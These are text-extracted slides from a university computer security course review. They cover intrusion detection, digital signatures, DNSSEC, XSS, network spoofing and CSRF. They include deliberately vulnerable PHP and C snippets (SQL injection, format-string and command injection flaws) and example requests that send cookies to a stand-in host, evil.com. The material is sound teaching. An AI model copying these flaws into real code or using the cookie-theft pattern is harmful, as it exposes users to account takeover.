Course Summary & Review

CS 161: Computer Security

Prof. Vern Paxson

TAs: Jethro Beekman, Mobin Javed, Antonio Lupher, Paul Pearce & Matthias Vallentin

http://inst.eecs.berkeley.edu/~cs161/

May 2, 2013
Know Your TA

Jethro Beekman
9-10AM, 4-5PM

Mobin Javed
1-2PM, 2-3PM

Paul Pearce
10-11AM, 11-12

Antonio Lupher
5-6PM

Matthias Vallentin
2-3PM, 3-4PM
Announcements / Goals

• For final exam, you can bring two sheets of notes (double-sided, normally viewable)
• Review: a (partial) “map” of security space
• Specific topics:
  – Detection/Evasion/NIDS-vs-HIDS
  – Integrity/Authentication/Certificates
  – (TLS +) DNSSEC
  – XSS
  – Spoofing
  – CSRF
  – HKN
<? php
print "Request: " . urldecode($_SERVER["REQUEST_URI"]);
mysql_query("SELECT * FROM users WHERE " . $_user_input);
?>
</body>
</html>

char buf[128];
gets(buf);
printf(buf);
ssprintf(cmd, 64, "ping '%s'", buf);
<?php
print "Request: " . urldecode($_SERVER['REQUEST_URI']);
mysql_query("SELECT * FROM users WHERE " . user_input);
?>
</body>
</html>
Secure Protocols

Channel Security

Object Security

Client

TLS

Server

Hello, \( R_C = 61029584123 \) (TLS+RSA+AES128+SHA1) or (SSL+RSA+3DES+MD5)

\( R_S = 263945710 \)

\( \{PS\}_K_S \)

DNS Spoofing

x.foo.com -> 1.2.3.4
y.foo.com -> 1.2.3.5

DNSSEC
Dear Joe,
Please help! Sp(e)end $$$! Get infected!

Spam  Phishing  Malware  Software Flaws  Botnet  Extortion  DoS

Browser  Mail Client  DHCP  Spoofing  Injection  MITM  Impersonation

Internet  Censorship  Evasion  P1  P2  Covert Channel

Server  HTTP  SSH  Database

Root Store  CA  CA  CA  CA  CA

PKI creates

Subversion
Dear Joe,

Please help! S(p)end $$$! Get infected!

Spam  Phishing
Anti-Spam

Botnet  Extortion

DoS  Whitelist  Blacklist

NIDS  Firewall

Covert Channel

P1  P2

Database

HTTP

SSH

Browser  Mail Client

Software Flaws
DHCP Spoofing  Injection  MITM

Impersonation

AV

Root Store

PKI

creates

CA
Detection Styles, Evasion, NIDS vs. HIDS
Styles of Detection

- **Signature-based**: look for activity that matches a known attack (or known malware)
  - + Simple; easy to share; addresses a very common threat
  - – Misses novel attacks or variants; can have high FP

- **Vulnerability signatures**: look for activity that matches a known vulnerability (i.e., how not what)
  - + ~Simple; easy to share; addresses v. common threat; detects variants
  - – Misses novel attacks; significant work to develop

- **Specification-based**: define what activity is okay, flag anything else
  - + Can detect novel attacks; possibly low FP
  - – Lots of work; not shareable; churn requires maintenance
Styles of Detection, con’t

- **Anomaly-based**: build up / infer profile of “normal” activity, flag deviations as potential attacks
  - + Can detect novel attacks
  - − Can miss both known and novel attacks; training data might be tainted; **Base Rate Fallacy** can lead to high FPs

- **Behavioral**: look for specific evidence of compromise rather than attacks themselves
  - + Can detect novel attacks; often low FPs; can be cheap
  - − Post-facto detection; narrow, and thus often evadable

- **Honeypots**: provide systemresource that isn’t actually used otherwise, monitor access to it
  - + Can detect novel attacks; examine attacker goals
  - − Attacker may spot fakery; noise from **endemic attacks**
The Problem of Evasion

- Most detection approaches can be eluded
  - *Doesn’t mean the approach is worthless*
- Evasions arise from *uncertainties/ambiguities*
  - One strategy to address: impose an interpretation ("normalization")
- Evasion considerations:
  - *Incomplete analysis*: detector doesn’t fully analyze
  - *Spec deviations*: not all systems implemented correctly
  - Attacker can *stress the monitor*
    - Exhaust its resources (state, CPU)
    - Exploit its own bugs (crash, code injection)
  - **Monitor lacks sufficient information** to disambiguate
    - And can’t alert on presence of ambiguity due to FPs
**Full TCP Reassembly is Not Enough**

TTL field in IP header specifies maximum forwarding hop count

Packet discarded in transit due to TTL hop count expiring

Assume the Receiver is 20 hops away

Assume NIDS is 15 hops away
NIDS vs. HIDS

• **NIDS benefits:**
  – Can **cover a lot of systems** with single deployment
    • Much simpler management
  – Easy to “bolt on” / **no need to touch end systems**
  – Doesn’t consume production resources on end systems
  – Harder for an attacker to subvert / less to trust

• **HIDS benefits:**
  – Can have **direct access to semantics** of activity
    • Better positioned to block (prevent) attacks
    • Harder to evade
  – Can protect against non-network threats
  – **Visibility** into encrypted activity
  – Performance scales much more readily (no chokepoint)
    • No issues with “dropped” packets
Cryptographic Authentication
Integrity & Authentication

• Symmetric: keyed MACs (Message Auth. Code)
• Integrity: along with message, sender transmits a tag computed using original message + secret key
  – Receiver computes tag using received message + secret key
  – If two tags match, then message hasn’t been altered
  – Plus: if tags match, sender must have had secret key, so receiver can have (a degree of) confidence in sender’s identity

• MAC functions require careful construction to resist attacks: eavesdropper concocting new message that matches given tag …
  – … Or computing revised tag for revised message
Integrity & Authentication, con’t

• Asymmetric: digital signatures
  – I = information/statement to be “signed” (attested to)
  – H = Hash(I), digest of I using well-known cryptographic
    hash function (no key!)
  – S = Signature(H), blob of bits that encodes H using
    private half of public/private key pair
  – W = Who signed it (to know which public key to use)

• Recipient locates public key for W …
  – … uses it to compute H' = inverse of S
  – If H' matches hash of I computed by recipient, then:
    • Have integrity due to properties of crypto hash function
    • Have authentication due to manifest possession of private key

• Also have non-repudiation if public key verified
Digital Signatures, con’t

- **Important**: digital signatures tied to a single object. Can’t be transferred!
  - (not like having digitized copy of someone’s written signature; analogy to that would be having copy of someone’s private key)
- If Alice produces a signature $S$ of some document $D$, and Mallory gets a copy of $S$ …
- … that doesn’t let Mallory do anything other than prove that Alice indeed decided to sign $D$
- Mallory *cannot*:
  - Transfer $S$ to apply to some other document
    - Nor can Mallory alter $S$ to fit to a modified document
  - Alter $D$ so that $S$ is still valid for it
Certificates

• Cert = signed statement about someone’s public key
  – Does not say anything about the identity of who gives you the cert
  – Simply states given public key $K_{Bob}$ belongs to Bob …
    • … and backs up this statement with a digital signature made using a different public/private key pair, say from Alice

• Bob then can prove his identity to you by you sending him something encrypted with $K_{Bob}$ …
  – … which he then demonstrates he can read

• Works provided you trust that you have a valid copy of Alice’s public key …
  – … and you trust Alice to use prudence when she signs other people’s keys, such as Bob’s
DNSSEC (& TLS)
Summary of TLS & DNSSEC Technologies

- **TLS**: provides channel security for communication over TCP (confidentiality, integrity, authentication)
  - Client & server agree on crypto, session keys
  - Underlying security dependent on trust in Certificate Authorities (as well as implementors)
- **DNSSEC**: provides object security for DNS results
  - Just integrity & authentication, not confidentiality
  - No client/server setup “dialog”
  - Tailored to be caching-friendly
  - Underlying security dependent on trust in Root Name Server’s key …
  - … plus support provided by every level of DNS hierarchy from Root to final name server… and local resolver!
Operation of DNSSEC

• Overall idea: DNS results become certificates
  – Verify their “trust lineage” via chain of signatures
  – Implication: elements of the chain are cacheable
• Conceptually, querier (client’s resolver) collects both final result plus chain of signatures attesting to result coming from the Right Place
  – Basis for assuming result is Correct is just the lineage
• In practice: resolver works its way from DNS root down to final name server for a name
  • At each level, gets signed statement re key(s) for next level
  • Builds up chain of trusted keys
  • Resolver has root’s key wired into it
DNSSEC (with simplifications):

Client’s Resolver → www.google.com A?

k.root-servers.net

com. **NS** a.gtld-servers.net
a.gtld-servers.net. **A** 192.5.6.30
...
com. **DS** description-of-com’s-key
com. **RRSIG DS** signature-of-that-
**DS-record-using-root’s-key**
DNSSEC (with simplifications):

Client’s Resolver → www.google.com A?

com. **NS** a.gtld-servers.net
a.gtld-servers.net. A 192.5.6.30

... com. **DS** description-of-com’s-key
com. **RRSIG DS** signature-of-that-DS-record-using-root’s-key

k.root-servers.net

Up through here is the same as before ...
DNSSEC (with simplifications):

This new **RR** (“Delegation Signer”) provides a way to securely identify .com’s public key (specifies a name and hash for it).
DNSSEC (with simplifications):

The actual process of retrieving .com’s public key is complicated (actually involves multiple keys) but for our purposes doesn’t change how things work.
DNSSEC (with simplifications):

This new **RR** specifies a signature over another **RR**... in this case, the signature covers the above **DS** record, and is made using the root’s private key.
DNSSEC (with simplifications):

The resolver has the root’s public key **hardwired** into it. The client only proceeds with DNSSEC if it can validate the signature.
DNSSEC (with simplifications):

Note: there’s no signature over the **NS** or **A** information! If an attacker has fiddled with those, the resolver will ultimately find it has a record for which it can’t verify the signature.
DNSSEC (with simplifications):


A similar process repeats for each lookup stage ...

... until ultimately client receives A record from google.com’s name server, **verifiably signed** by that name server.
DNSSEC - Mallory attacks!

Client’s Resolver

www.google.com A?

www.google.com. A 6.6.6.6

ns1.evil.com
DNSSEC - Mallory attacks!

Resolver observes that the reply didn’t include a signature, rejects it as insecure
DNSSEC - Mallory attacks!

Client’s Resolver → www.google.com A?

www.google.com. A 6.6.6.6
www.google.com RRSIG A
signature-of-the-A-record-using-evil.com’s-key

ns1.evil.com
DNSSEC - Mallory attacks!

(1) If resolver didn’t receive a signature from .com for evil.com’s key, then it can’t validate this signature & ignores reply since it’s not properly signed …
DNSSEC - Mallory attacks!

(2) If resolver *did* receive a signature from .com for evil.com’s key, then it knows the key is for evil.com and not google.com ... and ignores it
DNSSEC - Mallory attacks!

Client’s Resolver

www.google.com A?

www.google.com. A 6.6.6.6
www.google.com RRSIG A
signature-of-the-A-record-using-google.com’s-key

ns1.evil.com
DNSSEC - Mallory attacks!

If signature **actually** comes from google.com’s key, resolver will believe it …

… but no such signature should exist unless either:

1. google.com *intended* to sign the RR, or
2. google.com’s private key was compromised
Issues With DNSSEC

• Issue #1: Replies are Big
• Issue #2: Partial deployment
  – If client doesn’t receive a valid answer, what does it do?
    • If quit, then until deployment is widespread, lots of breakage
    • If accept, then incentives for sites to deploy DNSSEC diminish
• Issue #3: Negative results
  – Signing “does not exist” replies dynamically ⇒ DoS vuln
  – NSEC (sign ranges): attacker can enumerate names
  – NSEC3 (sign hashes): complicated, but more secure
• Issue #4: Whom do you trust?
  – Ultimately, client needs to verify change of signatures itself, so as not to trust local (“coffeeshop”) resolver
XSS
Cross-Site Scripting (XSS)

• Attacker’s goal: cause victim’s browser to execute Javascript written by the attacker …

• … but with the browser believing that the script instead sent by a trusted server (e.g. mybank.com)
  – In order to circumvent the Same Origin Policy (SOP), which prevents Javascript received directly from evil.com from having access to mybank.com’s content

• A form of command injection:
  – What’s meant to be data instead gets treated as code to execute
  – Conceptually, similar problem as buffer overflow, SQL injection
 Stored XSS: Summary

- **Target:** user with Javascript-enabled *browser* who visits *user-generated-content* page on vulnerable *web service*

- **Attacker goal:** run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = *Same Origin Policy*)

- **Attacker tools:** ability to leave content on web server page (e.g., via an ordinary browser); optionally, a server used to receive stolen information such as cookies

- **Key trick:** server fails to ensure that content uploaded to page does not contain embedded scripts

- **Notes:** (1) do not confuse with Cross-Site Request Forgery (CSRF); (2) requires use of Javascript
Stored XSS (Cross-Site Scripting)

Attack Browser/Server

evil.com
Stored XSS (Cross-Site Scripting)

Attack Browser/Server

1
Inject malicious script

Server Patsy/Victim

bank.com
Stored XSS (Cross-Site Scripting)

User Victim

Server Patsy/Victim

Attack Browser/Server

1

Inject malicious script

bank.com

evil.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. User Victim requests content

Server Patsy/Victim

Attack Browser/Server
stored XSS (Cross-Site Scripting)

1. Inject malicious script

2. request content

3. receive malicious script

User Victim

Server Patsy/Victim

Attack Browser/Server

evil.com

bank.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute script embedded in input as though server meant us to run it
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute script embedded in input as though server meant us to run it
5. Perform attacker action
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute script embedded in input as though server
5. Perform attacker action

E.g., GET https://bank.com/change_passwd?new=LetAttackersIn
Stored XSS (Cross-Site Scripting)

And/Or:

1. Inject malicious script

2. request content

3. receive malicious script

4. execute script embedded in input as though server meant us to run it

5. perform attacker action

6. steal valuable data
Stored XSS (Cross-Site Scripting)

And/Or:

1. evil.com

2. request content

3. receive malicious script

4. execute script embedded in input as though server meant us to run it

5. perform attacker action

6. steal valuable data

E.g., GET http://evil.com/steal/document.cookie

Server Patsy/Victim

Attack Browser/Server

bank.com
Reflected XSS: Summary

• **Target:** user with Javascript-enabled *browser* who visits a vulnerable *web service* that will include parts of URLs it receives in the web page output it generates

• **Attacker goal:** run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = *Same Origin Policy*)

• **Attacker tools:** ability to get user to click on a specially-crafted URL; optionally, a server used to receive stolen information such as cookies

• **Key trick:** server fails to ensure that output it generates does not contain embedded scripts other than its own

• **Notes:** (1) do not confuse with Cross-Site Request Forgery (CSRF); (2) requires use of Javascript
Reflected XSS (Cross-Site Scripting)

Victim client
Reflected XSS (Cross-Site Scripting)
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page

Victim client

Attack Server
evil.com
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link

Exact URL under attacker’s control

Victim client

Attack Server

Server Patsy/Victim

bank.com

evil.com
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input

Victim client

Server Patsy/Victim

Attack Server

evil.com

click on link

bank.com

echo user input
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. send valuable data

Victim client

Attack Server

And/Or:

Server Patsy/Victim

And/Or:

Reflected XSS (Cross-Site Scripting)

evil.com

bank.com
XSS Considerations

- Stored XSS often comes about by allowing users to upload arbitrary HTML documents
- Reflected XSS often comes about by server messages/replies that include parts of requests
- Good defense: whitelisting (validate input against what’s allowed)
- Risky/brittle defense: blacklisting (sanitizing input by stripping out dangerous parts)
  - But: can work ok if done via well-designed API
- Note: defenses are server-side
  - Client is somewhat stuck :-(
Sniffing & Spoofing
A & B can see everything each other sends, since they’re on the same open WiFi network.
Because of this, B can spoof DHCP offers to A, and vice versa. But no one else can, because the requests stay within A’s subnet.
R can see anything A, B or C send out to the Internet ... and any replies sent back to them
Thus, R can do successful TCP or DNS injection on them … … other than for local traffic such as between A & B
... since R can’t see what A sends to B or vice versa
C can’t see any of A or B’s traffic since C is on a different subnet. C likewise can’t see R’s traffic.
D can’t see E’s traffic nor any traffic from the Berkeley Network unless it happens to be directed to D
Like all Internet hosts (in the absence of ISP filtering), D can spoof whatever packet fields D desires … BUT
BUT it’s a separate question whether those spoofs will succeed. The use of randomized fields in TCP & DNS make this very hard.
CSRF
CSRF: Summary

- **Target:** user with some sort of account on vulnerable *web service* that trusts requests from user’s *browser* simply because they come from the browser (e.g., via cookies)

- **Attacker goal:** make requests to the server via the user’s browser that look to server like user *intended* to make them

- **Attacker tools:** ability to get user to visit a web page under the attacker’s control

- **Key tricks:** (1) web service doesn’t require user to issue request from trusted source; (2) use of `<IMG SRC=...>` or such to force victim’s browser to issue the (trusted) request

- **Notes:** (1) do not confuse with Cross-Site Scripting (XSS); (2) attack only requires HTML, no need for Javascript
Automatic Web Accesses

If we visit a page under an attacker’s control, they can have us visit other URLs.
CSRF Defenses

• Inspect **Referer** headers (**require** it to be from mybank.com or other trusted source)

Referer: http://evilsite.com/testpage.html

• Or: use distinct URLs (including *randomized components* or *tokens*) for forms users should use for requests

• Note: only the server can implement these!